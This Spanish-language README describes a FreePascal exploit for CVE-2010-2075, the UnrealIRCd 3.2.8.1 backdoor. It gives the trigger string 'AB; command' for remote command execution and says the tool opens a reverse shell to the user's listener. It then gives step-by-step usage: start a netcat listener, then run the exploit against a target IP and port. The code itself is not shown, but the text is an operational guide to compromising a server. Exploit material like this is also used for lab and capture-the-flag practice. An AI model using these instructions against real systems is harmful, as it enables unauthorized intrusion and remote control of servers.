CVE-2010-2075

Implementación en FreePascal de CVE-2010-2075

Vulnerabilidad

UnrealIRCd 3.2.8.1

RCE mediante el envío de "AB; command" a cualquier servicio en escucha. Cualquier comando que envíes se ejecuta con el mismo usuario con el que se ejecuta UnrealIRCD.

Esta implementación lanza una reverse shell hacia tu listener.

Paso 1

Inicia un listener, p. ej. netcat -lvp 4444

Paso 2

Ejecuta el exploit ./exploit <target ip> <target port> <host ip> <host port> donde la IP y el puerto del host son donde se está ejecutando tu listener

Requisitos

Synapse. Si no lo tienes, instálalo a través del OPM